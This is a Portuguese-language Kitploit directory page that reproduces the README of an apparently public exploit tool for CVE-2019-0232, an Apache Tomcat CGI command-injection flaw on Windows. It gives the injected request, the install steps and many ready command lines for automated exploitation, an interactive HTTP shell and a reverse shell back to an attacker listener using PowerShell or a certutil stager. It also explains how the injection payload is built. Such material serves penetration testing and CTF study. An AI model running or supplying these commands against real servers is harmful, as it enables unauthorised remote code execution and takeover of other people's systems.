Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2019-0232 — Apache Tomcat CGI Servlet RCE (Windows) | Kitploit
Ferramentas/GitHubGitHub/blackjuker2/cve-2019-0232
Scanners de VulnerabilidadesGeração de PayloadsExploraçãoShellcodeExploração de Aplicações WebFuzzingTestes de PenetraçãoAprendizado e EducaçãoFerramenta de Acesso Remoto
GitHubblackjuker2/cve-2019-0232

CVE-2019-0232

Apache Tomcat CGI Servlet RCE (Windows)

há 1 mêsAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório

CVE-2019-0232 — RCE no Servlet CGI do Apache Tomcat

PoC educacional apenas para CTF / testes de penetração autorizados.
Executar isto contra sistemas que você não possui ou para os quais não tem permissão explícita por escrito para testar é ilegal.


Visão Geral da Vulnerabilidade

CVE-2019-0232 é uma vulnerabilidade de Execução Remota de Código (RCE) no Apache Tomcat no Windows.
Quando o Servlet CGI possui enableCmdLineArguments=true (o padrão no Windows antes do patch), o Tomcat passa a string de consulta HTTP diretamente como argumentos de linha de comando para o arquivo batch CGI via Runtime.exec(). No Windows, Runtime.exec() envolve a chamada com cmd.exe /c, tornando o separador de comandos & ativo dentro desses argumentos.

Um atacante pode injetar um segundo comando do SO incluindo & (codificado na URL como %26) na URL:

root@kitploit:~
GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1

# Tomcat URL-decodes → cmd.exe /c cmd.bat &whoami
# cmd.exe sees the & and runs whoami after cmd.bat exits

Versões Afetadas (apenas Windows)

BranchFaixa VulnerávelCorrigido Em
9.0.x9.0.0.M1 – 9.0.179.0.18
8.5.x8.5.0 – 8.5.398.5.40
7.0.x7.0.0 – 7.0.937.0.94

Requisito: enableCmdLineArguments=true no conf/web.xml (padrão no Windows antes do patch).


Funcionalidades

  • Modo automático — cadeia completa: enumerar → fuzzing de caminhos CGI → shell interativo
  • Detecção de versão — identifica a versão do Tomcat a partir de cabeçalhos HTTP e páginas de erro
  • Fuzzer de caminhos CGI — multi-thread, wordlist embutida + wordlist personalizada opcional (-w)
  • Comando único — executa um comando e exibe a saída (--cmd)
  • Shell HTTP interativo — loop REPL sobre HTTP, cada comando uma nova requisição
  • Reverse shell — listener TCP embutido
    • Payload PowerShell codificado em Base64 (padrão)
    • Stager certutil (fallback)
  • Injeção de PATH — define automaticamente System32, Windows, Wbem, PowerShell para que whoami, ipconfig, netstat, powershell.exe funcionem sem caminhos completos

Instalação

root@kitploit:~
git clone https://github.com/blackjuker2/CVE-2019-0232.git
cd CVE-2019-0232
pip install -r requirements.txt

Python 3.8+ necessário.


Uso

root@kitploit:~
python3 cve_2019_0232.py -t <TARGET_URL> [options]

Modos

Exemplos

Modo automático — deixe o script encontrar tudo:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto

Comando único em um endpoint conhecido:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami

Loop de shell interativo:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive

Cadeia automática completa → reverse shell (nenhum nc separado necessário):

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444

The script opens its own TCP listener on --lport, fires the PowerShell payload, and drops you into an interactive shell when the target calls back.

Reverse shell PowerShell em um caminho conhecido:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat  --reverse-shell --lhost 10.10.14.x --lport 4444

Stager certutil (se PowerShell estiver bloqueado):

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil

Wordlist personalizada para fuzzing:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt

Entries without a file extension are automatically probed as both .bat and .cmd.

Rotear através do Burp Suite:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080

Mostrar a URL de injeção bruta antes de cada requisição:

root@kitploit:~
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url

Todas as Opções

root@kitploit:~
posicional / obrigatório:
  -t, --target URL        URL base do alvo, ex.: http://10.10.10.x:8080

caminho:
  -p, --path PATH         Caminho conhecido do script CGI, ex.: /cgi/cmd.bat

modos:
  --auto                  Cadeia completa: enum → fuzz → interativo
  --enum                  Enumerar versão do Tomcat e caminhos CGI
  --fuzz                  Fuzzing por endpoints de script CGI acessíveis
  --cmd COMMAND           Executar um único comando e exibir saída
  --interactive           Loop de comandos interativo (shell HTTP)
  --reverse-shell         Enviar reverse shell PowerShell

reverse shell:
  --lhost IP              IP do seu listener (use tun0 para HTB/OSCP)
  --lport PORT            Porta do seu listener (padrão: 4444)
  --shell-method {ps,certutil}
                          Tipo de payload: ps (padrão) ou stager certutil

opções:
  -w, --wordlist FILE     Nomes CGI extras para fuzzing (um por linha)
  --threads N             Threads de fuzzing (padrão: 15)
  --timeout N             Timeout HTTP em segundos (padrão: 10)
  --proxy URL             Proxy HTTP, ex.: http://127.0.0.1:8080
  --no-ssl-verify         Desabilitar verificação de certificado TLS
  --show-url              Exibir a URL de injeção completa antes de cada requisição

Como a Injeção Funciona

O script constrói a URL de injeção em três etapas:

  1. Injeção de PATH — envolve seu comando em um grupo que define o PATH primeiro:

    root@kitploit:~
    (SET PATH=C:\Windows\System32;C:\Windows;...&echo.&<your command> 2>&1)
    

    The echo. outputs a blank line, satisfying Tomcat's CGI header parser so the response body is visible.

  2. Codificação de URL — espaços se tornam +, caracteres especiais se tornam %XX via urllib.parse.quote.

  3. Ponto de injeção — o grupo codificado é colocado após %26 (o separador &):

    root@kitploit:~
    /cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261)
    

Testado Contra

  • Apache Tomcat 9.0.17 no Windows Server 2019
  • Python 3.11 / 3.12 no Kali Linux

Referências

  • NVD — CVE-2019-0232
  • Apache Security Advisory
  • Exploit-DB #47073

Aviso Legal

Esta ferramenta é fornecida apenas para fins educacionais e testes de segurança autorizados.
O autor não se responsabiliza por qualquer uso indevido ou dano causado por esta ferramenta.
Sempre obtenha permissão explícita por escrito antes de testar qualquer sistema.

Baixar ferramenta
  • Mesclagem de stderr — 2>&1 anexado automaticamente para que a saída de erro seja visível
  • Suporte a proxy Burp — roteia o tráfego através de --proxy http://127.0.0.1:8080
  • FlagDescrição
    --autoEnum → fuzz → entra no shell interativo
    --enumApenas enumerar a versão do Tomcat e caminhos CGI
    --fuzzFuzzing por endpoints .bat/.cmd acessíveis
    --cmd COMMANDExecutar um único comando
    --interactiveLoop de shell HTTP interativo
    --reverse-shellGerar um reverse shell (requer --lhost)